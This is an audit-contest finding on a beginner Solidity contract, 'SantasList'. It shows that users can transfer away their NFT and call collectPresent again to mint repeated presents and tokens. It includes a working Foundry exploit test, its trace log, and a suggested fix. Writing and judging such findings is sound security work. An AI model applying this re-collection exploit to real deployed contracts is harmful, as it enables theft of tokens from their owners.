First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`NICE` and `EXTRA_NICE` persons can collect multiple presents

bobadj

Summary

NICE and EXTRA_NICE users can collect multiple presents

Vulnerability Details

Its described that addresses are allowed to mint only 1 NFT, but NICE and EXTRA_NICE users can mint multiple tokens if they transfer collected SantaLists token

Impact

NICE and EXTRA_NICE users can collectPresent multiple times, just by transferring SantaLists tokens.

Test:

function testExtraNicePersonsCanCollectAllPresents() public {
address extraNiceUser = makeAddr("extraNice");
address naughtyPersonOrFriend = makeAddr("naughtyPersonOrFriend");
// Santa awards EXTRA_NICE person
vm.startPrank(santa);
santasList.checkList(extraNiceUser, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(extraNiceUser, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
// Christmas has come
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// extraNiceUser collect his present
vm.startPrank(extraNiceUser);
santasList.collectPresent();
assertEq(santasList.balanceOf(extraNiceUser), 1);
assertEq(santaToken.balanceOf(extraNiceUser), 1e18);
// some NAUGHTY persons came over ( or a NAUGHTY persons is a friend ) and force extraNiceUser transfer present
santasList.transferFrom(extraNiceUser, naughtyPersonOrFriend, 0);
assertEq(santasList.balanceOf(naughtyPersonOrFriend), 1);
// extraNiceUser is now sad and tries to collect the present one more time
santasList.collectPresent();
assertEq(santasList.balanceOf(extraNiceUser), 1);
assertEq(santaToken.balanceOf(extraNiceUser), 2e18);
// he succeeds!!!! He even got more SantaToken`s! He realizes that he can now buy 2 presents
santaToken.approve(address(santasList), type(uint256).max);
santasList.buyPresent(extraNiceUser);
santasList.buyPresent(extraNiceUser);
assertEq(santasList.balanceOf(extraNiceUser), 3);
assertEq(santaToken.balanceOf(extraNiceUser), 0);
// he could continue like this forever
// he can just transfer SantasList to someone else and he can collect all presents
vm.stopPrank();
}

Log:

[PASS] testExtraNicePersonsCanCollectAllPresents() (gas: 299585)
Traces:
[299585] NaughtyElf::testExtraNicePersonsCanCollectAllPresents()
├─ [0] VM::addr(91588955459005037706899338355575987614619543762033424836026148977233915177286 [9.158e76]) [staticcall]
│ └─ ← extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]
├─ [0] VM::label(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], "extraNice")
│ └─ ← ()
├─ [0] VM::addr(61892087342556097380576488773083722396989965353691955805877891705367103353078 [6.189e76]) [staticcall]
│ └─ ← naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3]
├─ [0] VM::label(naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3], "naughtyPersonOrFriend")
│ └─ ← ()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [24111] SantasList::checkList(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], 1)
│ ├─ emit CheckedOnce(person: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], 1)
│ ├─ emit CheckedTwice(person: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], status: 1)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ └─ ← ()
├─ [120077] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], tokenId: 0)
│ ├─ [46713] SantaToken::mint(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [678] SantasList::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 1
├─ [542] SantaToken::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [22727] SantasList::transferFrom(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3], 0)
│ ├─ emit Transfer(from: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], to: naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3], tokenId: 0)
│ └─ ← ()
├─ [678] SantasList::balanceOf(naughtyPersonOrFriend: [0x454d680184BF9d1E2eF8c3d8bF6C0eb6d72331b3]) [staticcall]
│ └─ ← 1
├─ [49877] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], tokenId: 1)
│ ├─ [2913] SantaToken::mint(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [678] SantasList::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 1
├─ [542] SantaToken::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 2000000000000000000 [2e18]
├─ [24546] SantaToken::approve(SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ ├─ emit Approval(owner: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], spender: SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
├─ [29248] SantasList::buyPresent(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ ├─ [2935] SantaToken::burn(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], tokenId: 2)
│ └─ ← ()
├─ [23399] SantasList::buyPresent(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ ├─ [2348] SantaToken::burn(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], tokenId: 3)
│ └─ ← ()
├─ [678] SantasList::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 3
├─ [542] SantaToken::balanceOf(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]) [staticcall]
│ └─ ← 0
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.12ms

Tools Used

Manual

Recommendations

Include one more mapping in SantasList contract to track if an address has already collected his present.

...
+79 mapping(address person => bool) private s_hasAlreadyCollected;
80 mapping(address person => Status naughtyOrNice) private s_theListCheckedOnce;
81 mapping(address person => Status naughtyOrNice) private s_theListCheckedTwice;
...

Update s_hasAlreadyCollected for msg.sender inside _mintAndIncrement

...
182 function _mintAndIncrement() private {
183 _safeMint(msg.sender, s_tokenCounter++);
+184 s_hasAlreadyCollected[msg.sender] = true;
186 }
...

Check s_hasAlreadyCollected instead of balanceOf(msg.sender) > 0 before minting

...
-153 if (balanceOf(msg.sender) > 0) {
+153 if (s_hasAlreadyCollected[msg.sender]) {
154 revert SantasList__AlreadyCollected();
155 }
...
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!